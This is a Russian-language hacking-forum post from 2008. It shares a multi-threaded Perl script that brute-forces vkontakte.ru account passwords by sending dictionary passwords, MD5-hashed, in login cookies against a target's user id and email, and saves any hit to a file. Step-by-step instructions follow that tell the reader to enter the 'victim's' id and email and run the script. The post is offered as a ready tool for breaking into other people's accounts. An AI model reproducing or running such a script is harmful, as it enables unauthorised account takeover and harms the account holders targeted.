Показать сообщение отдельно

  #678  
Старый 06.09.2008, 18:13
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


По умолчанию

Код:
#!/usr/bin/perl

use IO::Socket;
use MD5;
use threads;
use threads::shared;
my @pass : shared;

######################################
# C!klodoL
# vkontakte.ru bruteforce with multi-threads
######################################
$dic = 'passl.txt'; #словарь паролей
$id = 111111; #id цели $mail = 'mail%40mail.com'; #мыло, вместо @ вписать %40
$threads = 4; #количество потоков ######################################

open (pass, "<$dic»);

Next:
@pass = pass();

for(0…$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }

sub Brut
{

while (@pass){

$pass = shift @pass;

$md5 = MD5->hexhash($pass);
$sock = IO::Socket::INET->new(Proto=>'tcp', PeerAddr=>'vkontakte.ru', PeerPort=>80);
print $sock «HEAD http://vkontakte.ru/ HTTP/1.0\r\n».
«Host: vkontakte.ru\r\n».
«Accept: */*\r\n».
«Content-Type: application/x-www-form-urlencoded\r\n».
«User-Agent: Mozillo\r\n».
«Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n».
«Connection: close\r\n\r\n";
$answ = <$sock>;
close $sock;
print "$pass $answ";
if ($answ =~ /302/){
open (good, '>>good.txt');
print good "$id:$pass:$md5\n";
print "$id:$pass:$md5\n";
close good;
exit;}
}

}

goto Next;

sub pass
{
my (@mas);
while (<pass>){
push @mas, $_;
last if (@mas == 400);
}
chomp @mas;
return @mas;
}
Цитата:
$dic = 'passl.txt'; #словарь паролей
$id = 111111; #id цели $mail = 'mail%40mail.com'; #мыло, вместо @ вписать %40
$threads = 4; #количество потоков
Как запустить:
1. Качаем прогу ActivePerl 5.10.0.1001 или более раннюю версию.
2. Потом копируем текст в текстовый файл из кода выше... меняешь id и мыло жертвы на нужное ,сохраняем как brut.txt
3. Переименовываем файл из brute.txt в brute.pl
4. Туда где лежит этот файл, копируем файл со словарём, обзывая его passl.txt
5. Запускай файл, и радуйся…
6. Создастся good.txt, где и будет твой пасс.

© grabberz.com
 
Ответить с цитированием